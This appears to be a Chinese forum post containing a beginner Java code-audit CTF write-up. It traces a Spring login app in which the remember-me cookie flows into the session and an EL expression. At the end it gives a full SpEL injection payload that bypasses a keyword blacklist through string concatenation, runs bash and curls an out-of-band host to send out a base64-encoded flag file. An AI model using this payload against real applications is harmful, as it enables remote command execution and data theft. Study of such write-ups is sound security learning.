java代码审计入门案例

g1870412862   ·   发表于 2021-05-24 00:27:02   ·   代码审计

近期开始学习java代码审计,正如P牛所言:Java安全总结向的书籍或文章会容易陷入一个死胡同,就是读着读着发现大部分内容是Web安全。


对于java安全,学习路线应该是这样的:

  • Java反射
  • RMI协议与漏洞
  • Java反序列化
  • JNDI注入
  • 内存马
  • 漏洞回显
  • Webshell
  • J2EE
  • Java传统漏洞
  • EL与SpEL表达式
  • OGNL表达式与Struts2系列漏洞
  • JSON反序列化
  • XML反序列化
  • Weblogic系列漏洞

    推荐资料:知识星球(代码审计),这个是付费的,目前好像是199,不过知识付费并不可耻。


进入正题:

Java代码审计入门案例

题目环境:放在下方附件
推荐使用idea+jdk1.8

  1. 导入下载的jar

  1. 可以先运行一下看一下是什么样的环境

  1. 这边是个登录页面,既然有源码,那就不用黑盒测试了,直接看代码,在application.yml发现了一个黑名单,过滤了java.+lang Runtime exec(调用runtime类的exec方法可以执行系统命令),同时我们还找到了测试账号adminadmin

  1. 对于MVC框架,一般都习惯从controller层下手,点开这边的MainController,先从登录功能分析
  1. @PostMapping({"/login"})
  2. public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
  3. if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
  4. session.setAttribute("username", username);
  5. if (isRemember != null && !isRemember.equals("")) {
  6. Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
  7. c.setMaxAge(2592000);
  8. response.addCookie(c);
  9. }
  10. return "redirect:/";
  11. } else {
  12. return "redirect:/login-error";
  13. }
  14. }
  1. 判断用户名密码,如果勾选了remberMe则浏览器存入加密后的cookie,转跳至hello.html,在hello.html发现了可能存在EL表达式注入,他会将session中的username字段内容取出在页面上显示,如果此处可控,则可以构造rce

  1. 由于登录的测试账号是固定的,adminadmin,所以无法直接利用这边的session.setAttribute

  1. 程序判断rememberMeValue存在后,直接对其进行解密,然后将其setAttribute

这样思路就很明确了,在cookie的remember-me构造rce,结合黑名单bypass

  1. payload:#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}

打赏我,让我更有动力~

25 条回复   |  直到 1个月前 | 2669 次浏览

boy0s
发表于 2023-6-28

6

评论列表

  • 加载数据中...

编写评论内容

7y
发表于 2023-8-10

66

评论列表

  • 加载数据中...

编写评论内容

goto
发表于 2023-12-12

666

评论列表

  • 加载数据中...

编写评论内容

15509681676
发表于 2个月前

1

评论列表

  • 加载数据中...

编写评论内容

1708qq_com
发表于 1个月前

1

评论列表

  • 加载数据中...

编写评论内容
首页 1 2 / 2 跳转
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.